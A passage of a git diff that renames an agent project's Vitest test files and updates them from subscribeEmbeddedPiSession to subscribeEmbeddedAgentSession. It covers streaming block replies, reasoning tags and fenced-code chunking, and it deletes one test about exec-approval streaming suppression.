Parameters[0]["session"], runId: "run-flush-test", onBlockReply, onBlockReplyFlush, @@ -64,8 +64,8 @@ describe("subscribeEmbeddedPiSession", () => { const onBlockReply = vi.fn(); const onBlockReplyFlush = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + subscribeEmbeddedAgentSession({ + session: session as unknown as Parameters[0]["session"], runId: "run-flush-buffer", onBlockReply, onBlockReplyFlush, @@ -100,8 +100,8 @@ describe("subscribeEmbeddedPiSession", () => { const delivered: string[] = []; const flushSnapshots: string[][] = []; - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + subscribeEmbeddedAgentSession({ + session: session as unknown as Parameters[0]["session"], runId: "run-async-tool-flush", onBlockReply: async (payload) => { await Promise.resolve(); @@ -140,8 +140,8 @@ describe("subscribeEmbeddedPiSession", () => { const onBlockReply = vi.fn(); const onBlockReplyFlush = vi.fn(); - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + subscribeEmbeddedAgentSession({ + session: session as unknown as Parameters[0]["session"], runId: "run-message-end-flush", onBlockReply, onBlockReplyFlush, @@ -174,8 +174,8 @@ describe("subscribeEmbeddedPiSession", () => { const delivered: string[] = []; const flushSnapshots: string[][] = []; - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + subscribeEmbeddedAgentSession({ + session: session as unknown as Parameters[0]["session"], runId: "run-async-message-end-flush", onBlockReply: async (payload) => { await Promise.resolve(); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-append-text-end-content-is.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-append-text-end-content-is.test.ts similarity index 98% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-append-text-end-content-is.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-append-text-end-content-is.test.ts index fb50175f933..132b95baad7 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-append-text-end-content-is.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-append-text-end-content-is.test.ts @@ -4,9 +4,9 @@ import { extractTextPayloads, emitAssistantTextDelta, emitAssistantTextEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { function setupTextEndSubscription() { const onBlockReply = vi.fn(); const { emit, subscription } = createTextEndBlockReplyHarness({ onBlockReply }); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-call-onblockreplyflush-callback-is-not.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-call-onblockreplyflush-callback-is-not.test.ts similarity index 82% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-call-onblockreplyflush-callback-is-not.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-call-onblockreplyflush-callback-is-not.test.ts index ee762a46be4..30d7facac3e 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-call-onblockreplyflush-callback-is-not.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-call-onblockreplyflush-callback-is-not.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it, vi } from "vitest"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; type StubSession = { subscribe: (fn: (evt: unknown) => void) => () => void; @@ -7,7 +7,7 @@ type StubSession = { type SessionEventHandler = (evt: unknown) => void; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("does not call onBlockReplyFlush when callback is not provided", () => { let handler: SessionEventHandler | undefined; const session: StubSession = { @@ -20,8 +20,8 @@ describe("subscribeEmbeddedPiSession", () => { const onBlockReply = vi.fn(); // No onBlockReplyFlush provided - subscribeEmbeddedPiSession({ - session: session as unknown as Parameters[0]["session"], + subscribeEmbeddedAgentSession({ + session: session as unknown as Parameters[0]["session"], runId: "run-no-flush", onBlockReply, blockReplyBreak: "text_end", diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-duplicate-text-end-repeats-full.test.ts similarity index 93% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-duplicate-text-end-repeats-full.test.ts index b6324397f49..cd72659581b 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-duplicate-text-end-repeats-full.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-duplicate-text-end-repeats-full.test.ts @@ -4,9 +4,9 @@ import { emitAssistantTextDelta, emitAssistantTextEnd, extractTextPayloads, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("does not duplicate when text_end repeats full content", async () => { const onBlockReply = vi.fn(); const { emit, subscription } = createTextEndBlockReplyHarness({ onBlockReply }); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-emit-duplicate-block-replies-text.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-emit-duplicate-block-replies-text.test.ts similarity index 87% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-emit-duplicate-block-replies-text.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-emit-duplicate-block-replies-text.test.ts index 96d68951ce9..e2e5f38bdca 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.does-not-emit-duplicate-block-replies-text.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.does-not-emit-duplicate-block-replies-text.test.ts @@ -1,14 +1,14 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, createTextEndBlockReplyHarness, emitAssistantTextDelta, emitAssistantTextEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("does not emit duplicate block replies when text_end repeats", async () => { const onBlockReply = vi.fn(); const { emit, subscription } = createTextEndBlockReplyHarness({ onBlockReply }); @@ -24,7 +24,7 @@ describe("subscribeEmbeddedPiSession", () => { it("does not duplicate assistantTexts when message_end repeats", () => { const { session, emit } = createStubSessionHarness(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", }); @@ -42,7 +42,7 @@ describe("subscribeEmbeddedPiSession", () => { it("does not duplicate assistantTexts when message_end repeats with trailing whitespace changes", () => { const { session, emit } = createStubSessionHarness(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", }); @@ -65,7 +65,7 @@ describe("subscribeEmbeddedPiSession", () => { it("does not duplicate assistantTexts when message_end repeats with reasoning blocks", () => { const { session, emit } = createStubSessionHarness(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", reasoningMode: "on", @@ -89,7 +89,7 @@ describe("subscribeEmbeddedPiSession", () => { // must still populate assistantTexts so providers can deliver a final reply. const { session, emit } = createStubSessionHarness(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", blockReplyChunking: { minChars: 50, maxChars: 200 }, // Chunking enabled diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.emits-block-replies-text-end-does-not.test.ts similarity index 97% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.emits-block-replies-text-end-does-not.test.ts index 5a9d49c2e8b..73707b2b590 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-block-replies-text-end-does-not.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.emits-block-replies-text-end-does-not.test.ts @@ -1,15 +1,15 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createTextEndBlockReplyHarness, emitAssistantTextDelta, emitAssistantTextEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; import { createOpenAiResponsesTextBlock, createOpenAiResponsesTextEvent, type OpenAiResponsesTextEventPhase, -} from "./pi-embedded-subscribe.openai-responses.test-helpers.js"; +} from "./embedded-agent-subscribe.openai-responses.test-helpers.js"; type TextEndBlockReplyHarness = ReturnType; type OnBlockReplyMock = ReturnType; @@ -112,7 +112,7 @@ function requireBlockReplyPayload(onBlockReply: OnBlockReplyMock): BlockReplyPay return payload as BlockReplyPayload; } -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("emits block replies on text_end and does not duplicate on message_end", async () => { const onBlockReply = vi.fn(); const { emit, subscription } = createTextEndBlockReplyHarness({ onBlockReply }); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.emits-reasoning-as-separate-message-enabled.test.ts similarity index 90% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.emits-reasoning-as-separate-message-enabled.test.ts index 20afa1c4544..7b1529c6b3d 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.emits-reasoning-as-separate-message-enabled.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.emits-reasoning-as-separate-message-enabled.test.ts @@ -1,18 +1,18 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { THINKING_TAG_CASES, createReasoningFinalAnswerMessage, createStubSessionHarness, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { function createReasoningBlockReplyHarness(params: { thinkingLevel?: "off" | "medium" } = {}) { const { session, emit } = createStubSessionHarness(); const onBlockReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onBlockReply, diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.filters-final-suppresses-output-without-start-tag.test.ts similarity index 93% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.filters-final-suppresses-output-without-start-tag.test.ts index f1c1ff6e7aa..9da8305ebe0 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.filters-final-suppresses-output-without-start-tag.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.filters-final-suppresses-output-without-start-tag.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createStubSessionHarness, @@ -6,8 +6,8 @@ import { emitAssistantTextEnd, emitMessageStartAndEndForAssistantText, extractAgentEventPayloads, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; type ReplyMock = ReturnType; type ReplyPayload = { text?: string }; @@ -24,14 +24,14 @@ function requireFirstReplyPayload(mock: ReplyMock): ReplyPayload { return payload as ReplyPayload; } -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("filters to and suppresses output without a start tag", () => { const { session, emit } = createStubSessionHarness(); const onPartialReply = vi.fn(); const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -58,7 +58,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -76,7 +76,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -100,7 +100,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -124,7 +124,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -147,7 +147,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -169,7 +169,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -194,7 +194,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -219,7 +219,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -243,7 +243,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -262,7 +262,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", enforceFinalTag: true, @@ -286,7 +286,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -304,7 +304,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -323,7 +323,7 @@ describe("subscribeEmbeddedPiSession", () => { const onBlockReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onBlockReply, @@ -344,7 +344,7 @@ describe("subscribeEmbeddedPiSession", () => { const onBlockReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onBlockReply, @@ -375,7 +375,7 @@ describe("subscribeEmbeddedPiSession", () => { const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onAgentEvent, @@ -391,7 +391,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onPartialReply, @@ -407,7 +407,7 @@ describe("subscribeEmbeddedPiSession", () => { const onBlockReply = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run", onBlockReply, diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.includes-canvas-action-metadata-tool-summaries.test.ts similarity index 93% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.includes-canvas-action-metadata-tool-summaries.test.ts index 8ec6c711032..ca7e3582af3 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.includes-canvas-action-metadata-tool-summaries.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.includes-canvas-action-metadata-tool-summaries.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi } from "vitest"; -import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js"; +import { createSubscribedSessionHarness } from "./embedded-agent-subscribe.e2e-harness.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("includes canvas action metadata in tool summaries", async () => { const onToolResult = vi.fn(); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts similarity index 84% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts index 87f824473d7..aa03718c599 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-assistanttexts-final-answer-block-replies-are.test.ts @@ -4,14 +4,14 @@ import { createStubSessionHarness, emitAssistantTextDelta, emitAssistantTextEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("keeps assistantTexts to the final answer when block replies are disabled", () => { const { session, emit } = createStubSessionHarness(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", reasoningMode: "on", @@ -33,7 +33,7 @@ describe("subscribeEmbeddedPiSession", () => { const onPartialReply = vi.fn(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run", reasoningMode: "on", diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-indented-fenced-blocks-intact.test.ts similarity index 92% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-indented-fenced-blocks-intact.test.ts index 0c62b7ed591..37eecfe0b3b 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.keeps-indented-fenced-blocks-intact.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.keeps-indented-fenced-blocks-intact.test.ts @@ -3,9 +3,9 @@ import { createParagraphChunkedBlockReplyHarness, emitAssistantTextDeltaAndEnd, extractTextPayloads, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("keeps indented fenced blocks intact", () => { const onBlockReply = vi.fn(); const { emit } = createParagraphChunkedBlockReplyHarness({ diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.reopens-fenced-blocks-splitting-inside-them.test.ts similarity index 91% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.reopens-fenced-blocks-splitting-inside-them.test.ts index 9f77f8f456a..ea493719fd3 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.reopens-fenced-blocks-splitting-inside-them.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.reopens-fenced-blocks-splitting-inside-them.test.ts @@ -3,9 +3,9 @@ import { createParagraphChunkedBlockReplyHarness, emitAssistantTextDeltaAndEnd, expectFencedChunks, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("reopens fenced blocks when splitting inside them", () => { const onBlockReply = vi.fn(); const { emit } = createParagraphChunkedBlockReplyHarness({ diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.splits-long-single-line-fenced-blocks-reopen.test.ts similarity index 85% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.splits-long-single-line-fenced-blocks-reopen.test.ts index 803463de96a..1a1d0a8dee9 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.splits-long-single-line-fenced-blocks-reopen.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.splits-long-single-line-fenced-blocks-reopen.test.ts @@ -1,16 +1,16 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createParagraphChunkedBlockReplyHarness, emitAssistantTextDeltaAndEnd, expectFencedChunks, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; import { makeZeroUsageSnapshot } from "./usage.js"; type SessionEventHandler = (evt: unknown) => void; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("splits long single-line fenced blocks with reopen/close", async () => { const onBlockReply = vi.fn(); const { emit } = createParagraphChunkedBlockReplyHarness({ @@ -38,9 +38,9 @@ describe("subscribeEmbeddedPiSession", () => { } }; }, - } as unknown as Parameters[0]["session"]; + } as unknown as Parameters[0]["session"]; - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run-1", }); @@ -88,9 +88,9 @@ describe("subscribeEmbeddedPiSession", () => { listeners.push(listener); return () => {}; }, - } as unknown as Parameters[0]["session"]; + } as unknown as Parameters[0]["session"]; - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId: "run-2", }); @@ -139,9 +139,9 @@ describe("subscribeEmbeddedPiSession", () => { listeners.push(listener); return () => {}; }, - } as unknown as Parameters[0]["session"]; + } as unknown as Parameters[0]["session"]; - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: "run-3", }); diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.streams-soft-chunks-paragraph-preference.test.ts similarity index 93% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.streams-soft-chunks-paragraph-preference.test.ts index c2183e12261..0c2ab570277 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.streams-soft-chunks-paragraph-preference.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.streams-soft-chunks-paragraph-preference.test.ts @@ -2,13 +2,13 @@ import { describe, expect, it, vi } from "vitest"; import { createParagraphChunkedBlockReplyHarness, emitAssistantTextDeltaAndEnd, -} from "./pi-embedded-subscribe.e2e-harness.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; function blockReplyTexts(onBlockReply: ReturnType): string[] { return onBlockReply.mock.calls.map(([payload]) => (payload as { text?: string }).text ?? ""); } -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { it("streams soft chunks with paragraph preference", () => { const onBlockReply = vi.fn(); const { emit, subscription } = createParagraphChunkedBlockReplyHarness({ diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.test.ts b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.subscribeembeddedagentsession.test.ts similarity index 94% rename from src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.test.ts rename to src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.subscribeembeddedagentsession.test.ts index 5805cf6f797..fe8834667a5 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.subscribeembeddedpisession.test.ts +++ b/src/agents/embedded-agent-subscribe.subscribe-embedded-agent-session.subscribeembeddedagentsession.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { HEARTBEAT_RESPONSE_TOOL_NAME } from "../auto-reply/heartbeat-tool-response.js"; import * as agentEvents from "../infra/agent-events.js"; @@ -11,11 +11,11 @@ import { expectSingleAgentEventText, extractAgentEventPayloads, findLifecycleErrorAgentEvent, -} from "./pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js"; +} from "./embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "./embedded-agent-subscribe.js"; import { makeZeroUsageSnapshot } from "./usage.js"; -describe("subscribeEmbeddedPiSession", () => { +describe("subscribeEmbeddedAgentSession", () => { async function flushBlockReplyCallbacks(): Promise { await Promise.resolve(); await Promise.resolve(); @@ -25,7 +25,7 @@ describe("subscribeEmbeddedPiSession", () => { const { session, emit } = createStubSessionHarness(); const onAgentEvent = vi.fn(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, runId: options?.runId ?? "run", onAgentEvent, @@ -37,7 +37,7 @@ describe("subscribeEmbeddedPiSession", () => { function createToolErrorHarness(runId: string) { const { session, emit } = createStubSessionHarness(); - const subscription = subscribeEmbeddedPiSession({ + const subscription = subscribeEmbeddedAgentSession({ session, runId, sessionKey: "test-session", @@ -47,10 +47,10 @@ describe("subscribeEmbeddedPiSession", () => { } function createSubscribedHarness( - options: Omit[0], "session">, + options: Omit[0], "session">, ) { const { session, emit } = createStubSessionHarness(); - subscribeEmbeddedPiSession({ + subscribeEmbeddedAgentSession({ session, ...options, trustedLocalMediaToolNames: options.trustedLocalMediaToolNames ?? options.builtinToolNames, @@ -277,61 +277,6 @@ describe("subscribeEmbeddedPiSession", () => { }, ); - it("suppresses assistant streaming while deterministic exec approval delivery is pending", async () => { - let resolveToolResult: (() => void) | undefined; - const onToolResult = vi.fn( - () => - new Promise((resolve) => { - resolveToolResult = resolve; - }), - ); - const onPartialReply = vi.fn(); - - const { emit } = createSubscribedHarness({ - runId: "run", - onToolResult, - onPartialReply, - }); - - emit({ - type: "tool_execution_start", - toolName: "exec", - toolCallId: "tool-1", - args: { command: "echo hi" }, - }); - emit({ - type: "tool_execution_end", - toolName: "exec", - toolCallId: "tool-1", - isError: false, - result: { - details: { - status: "approval-pending", - approvalId: "12345678-1234-1234-1234-123456789012", - approvalSlug: "12345678", - host: "gateway", - command: "echo hi", - }, - }, - }); - - emit({ - type: "message_start", - message: { role: "assistant" }, - }); - emitAssistantTextDelta(emit, "After tool"); - - await vi.waitFor(() => { - expect(onToolResult).toHaveBeenCalledTimes(1); - }); - expect(onPartialReply).not.toHaveBeenCalled(); - - expect(resolveToolResult).toBeTypeOf("function"); - resolveToolResult?.(); - await Promise.resolve(); - expect(onPartialReply).not.toHaveBeenCalled(); - }); - it("blocks local MEDIA urls from case-variant tool names in verbose output", async () => { const onToolResult = vi.fn(); const { emit } = createSubscribedHarness({ @@ -942,7 +887,7 @@ 